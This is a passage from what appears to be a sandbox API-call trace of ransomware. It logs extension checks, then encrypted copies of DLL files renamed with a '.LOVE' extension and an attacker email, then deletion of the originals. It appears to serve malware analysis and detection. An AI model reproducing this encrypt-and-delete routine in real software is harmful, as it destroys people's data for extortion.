(lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.202] lstrlenW (lpString=".zip") returned 4 [0195.203] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString=".rar") returned 4 [0195.203] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString=".bz2") returned 4 [0195.203] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.203] lstrlenW (lpString=".7z") returned 3 [0195.203] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.203] lstrlenW (lpString=".dbf") returned 4 [0195.203] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.203] lstrlenW (lpString=".1cd") returned 4 [0195.203] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.203] lstrlenW (lpString=".jpg") returned 4 [0195.203] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.203] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.203] lstrlenW (lpString=".doc") returned 4 [0195.203] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString=".docx") returned 5 [0195.203] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.203] lstrlenW (lpString=".pdf") returned 4 [0195.203] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString=".xls") returned 4 [0195.203] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.203] lstrlenW (lpString=".xlsx") returned 5 [0195.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.203] lstrlenW (lpString=".ppt") returned 4 [0195.204] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.204] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.204] lstrlenW (lpString=".zip") returned 4 [0195.204] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.204] lstrlenW (lpString=".rar") returned 4 [0195.204] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.204] lstrlenW (lpString=".bz2") returned 4 [0195.204] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.204] lstrlenW (lpString=".7z") returned 3 [0195.204] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.204] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.204] lstrlenW (lpString=".dbf") returned 4 [0195.204] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.204] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.204] lstrlenW (lpString=".1cd") returned 4 [0195.204] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.204] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.204] lstrlenW (lpString=".jpg") returned 4 [0195.204] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.204] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.204] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.210] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=14168) returned 1 [0195.210] CloseHandle (hObject=0x2d8) returned 1 [0195.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0195.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.210] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.211] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0195.342] GetLastError () returned 0x0 [0195.342] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x3758, lpOverlapped=0x0) returned 1 [0195.439] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x3760, lpOverlapped=0x0) returned 1 [0195.440] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.440] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.440] SetEndOfFile (hFile=0x2e8) returned 1 [0195.440] CloseHandle (hObject=0x2e8) returned 1 [0195.441] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.441] SetEndOfFile (hFile=0x2d8) returned 1 [0195.442] CloseHandle (hObject=0x2d8) returned 1 [0195.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.443] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0195.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.443] lstrlenW (lpString=".doc") returned 4 [0195.443] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.443] lstrlenW (lpString=".docx") returned 5 [0195.443] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.443] lstrlenW (lpString=".pdf") returned 4 [0195.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.443] lstrlenW (lpString=".xls") returned 4 [0195.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.443] lstrlenW (lpString=".xlsx") returned 5 [0195.444] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.444] lstrlenW (lpString=".ppt") returned 4 [0195.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString=".zip") returned 4 [0195.444] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString=".rar") returned 4 [0195.444] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString=".bz2") returned 4 [0195.444] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.444] lstrlenW (lpString=".7z") returned 3 [0195.444] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString=".dbf") returned 4 [0195.444] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString=".1cd") returned 4 [0195.444] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString=".jpg") returned 4 [0195.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.444] lstrlenW (lpString=".doc") returned 4 [0195.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString=".docx") returned 5 [0195.444] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.444] lstrlenW (lpString=".pdf") returned 4 [0195.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.444] lstrlenW (lpString=".xls") returned 4 [0195.445] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.445] lstrlenW (lpString=".xlsx") returned 5 [0195.445] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.445] lstrlenW (lpString=".ppt") returned 4 [0195.445] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.445] lstrlenW (lpString=".zip") returned 4 [0195.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.445] lstrlenW (lpString=".rar") returned 4 [0195.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.445] lstrlenW (lpString=".bz2") returned 4 [0195.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.445] lstrlenW (lpString=".7z") returned 3 [0195.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.445] lstrlenW (lpString=".dbf") returned 4 [0195.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.445] lstrlenW (lpString=".1cd") returned 4 [0195.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0195.445] lstrlenW (lpString=".jpg") returned 4 [0195.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.445] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.445] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.446] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.457] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=18264) returned 1 [0195.457] CloseHandle (hObject=0x2d8) returned 1 [0195.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0195.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.457] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.457] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.458] GetLastError () returned 0x0 [0195.458] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.566] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.567] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.567] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.567] SetEndOfFile (hFile=0x2dc) returned 1 [0195.567] CloseHandle (hObject=0x2dc) returned 1 [0195.568] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.568] SetEndOfFile (hFile=0x2d8) returned 1 [0195.570] CloseHandle (hObject=0x2d8) returned 1 [0195.570] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.570] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0195.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.570] lstrlenW (lpString=".doc") returned 4 [0195.571] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString=".docx") returned 5 [0195.571] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.571] lstrlenW (lpString=".pdf") returned 4 [0195.571] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString=".xls") returned 4 [0195.571] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString=".xlsx") returned 5 [0195.571] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.571] lstrlenW (lpString=".ppt") returned 4 [0195.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.571] lstrlenW (lpString=".zip") returned 4 [0195.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString=".rar") returned 4 [0195.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.571] lstrlenW (lpString=".bz2") returned 4 [0195.571] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.571] lstrlenW (lpString=".7z") returned 3 [0195.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.571] lstrlenW (lpString=".dbf") returned 4 [0195.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.571] lstrlenW (lpString=".1cd") returned 4 [0195.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.571] lstrlenW (lpString=".jpg") returned 4 [0195.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString=".doc") returned 4 [0195.572] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString=".docx") returned 5 [0195.572] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.572] lstrlenW (lpString=".pdf") returned 4 [0195.572] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString=".xls") returned 4 [0195.572] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString=".xlsx") returned 5 [0195.572] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.572] lstrlenW (lpString=".ppt") returned 4 [0195.572] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString=".zip") returned 4 [0195.572] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString=".rar") returned 4 [0195.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.572] lstrlenW (lpString=".bz2") returned 4 [0195.572] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.572] lstrlenW (lpString=".7z") returned 3 [0195.572] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString=".dbf") returned 4 [0195.572] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString=".1cd") returned 4 [0195.572] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0195.572] lstrlenW (lpString=".jpg") returned 4 [0195.572] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.572] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.572] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.573] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=18776) returned 1 [0195.573] CloseHandle (hObject=0x2d8) returned 1 [0195.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0195.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.573] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.573] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.589] GetLastError () returned 0x0 [0195.589] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4958, lpOverlapped=0x0) returned 1 [0195.619] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4960, lpOverlapped=0x0) returned 1 [0195.620] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.620] WriteFile (in: hFile=0x300, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.621] SetEndOfFile (hFile=0x300) returned 1 [0195.621] CloseHandle (hObject=0x300) returned 1 [0195.622] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.622] SetEndOfFile (hFile=0x2d8) returned 1 [0195.622] CloseHandle (hObject=0x2d8) returned 1 [0195.622] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.622] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0195.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.623] lstrlenW (lpString=".doc") returned 4 [0195.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString=".docx") returned 5 [0195.623] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.623] lstrlenW (lpString=".pdf") returned 4 [0195.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString=".xls") returned 4 [0195.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString=".xlsx") returned 5 [0195.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.623] lstrlenW (lpString=".ppt") returned 4 [0195.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.623] lstrlenW (lpString=".zip") returned 4 [0195.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString=".rar") returned 4 [0195.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.623] lstrlenW (lpString=".bz2") returned 4 [0195.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.623] lstrlenW (lpString=".7z") returned 3 [0195.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.623] lstrlenW (lpString=".dbf") returned 4 [0195.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.624] lstrlenW (lpString=".1cd") returned 4 [0195.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.624] lstrlenW (lpString=".jpg") returned 4 [0195.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.624] lstrlenW (lpString=".doc") returned 4 [0195.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString=".docx") returned 5 [0195.624] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.624] lstrlenW (lpString=".pdf") returned 4 [0195.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString=".xls") returned 4 [0195.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString=".xlsx") returned 5 [0195.624] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.624] lstrlenW (lpString=".ppt") returned 4 [0195.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0195.624] lstrlenW (lpString=".zip") returned 4 [0195.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString=".rar") returned 4 [0195.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.624] lstrlenW (lpString=".bz2") returned 4 [0195.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.624] lstrlenW (lpString=".7z") returned 3 [0195.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.625] lstrlenW 